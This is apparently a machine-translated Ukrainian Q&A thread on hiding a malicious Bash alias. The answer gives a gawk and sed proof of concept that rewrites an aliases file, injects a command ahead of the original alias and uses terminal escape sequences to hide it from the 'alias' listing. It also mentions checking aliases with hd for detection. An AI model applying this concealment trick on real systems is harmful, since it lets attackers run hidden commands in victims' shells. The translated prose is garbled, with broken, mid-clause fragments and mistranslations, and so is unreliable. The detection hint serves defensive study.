Чи можна приховати існування зловмисного псевдоніму в Bash в системі Linux і чи виконано його користувачем без їх відома?
Чи можна приховати існування зловмисного псевдоніму в Bash в системі Linux і чи виконано його користувачем без їх відома?
Відповіді:
Це можна зробити, додавши існуючий псевдонім на шкідливий і за допомогою руху курсору приховати його, якщо alias
команда використовується для відображення визначень псевдонімів. Це не зовсім бездоганний метод, але він може ненадовго виявитись. Трубопровід alias
через hd
покаже вам , чи є якісь - або керуючі послідовності (руху курсора) в ваших псевдонімів. Ось доказ концепції про те, як зловмисна команда може бути вставлена в псевдонім:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
команді модифікує файл з ім'ям «псевдоніми» на місці - реальний сценарій цього типу будуть йти за горло і змінити реальний файл сценарію , так що шкідливий псевдонім буде активований в наступний раз , він виконується.hide
як аргумент, тому можливо, що ви могли отримати помилку, подібну до тієї, про яку повідомлялося в цьому запитанні . Можливо, можна змінити оригінальні та шкідливі частини, щоб вплинути на це, хоча це може заважати аргументам, які надаються для псевдоніму. У вищезазначеному сценарії робиться спроба позначити кінець аргументів --
.&&
, ви можете труби одного до інших і зробити шкідливий скрипт (представлений вище , з допомогою простої echo
команди) функції як stdin
для stdout
наскрізних або змінити дані , як це відбувається через або приховати його існування далі, не заважаючи іншим перенаправленнямhide
Рядок може бути змінена , щоб включати інше переміщення курсора і текст оригінального псевдоніма , тому alias
команда буде з'являтися , щоб показати не модифікований псевдонім замість приховування його разом з шкідливими частини.. aliases
. Тоді ви можете спробувати скористатися ураженим псевдонімом і побачити, як це виглядає, коли ви робите alias|hd
.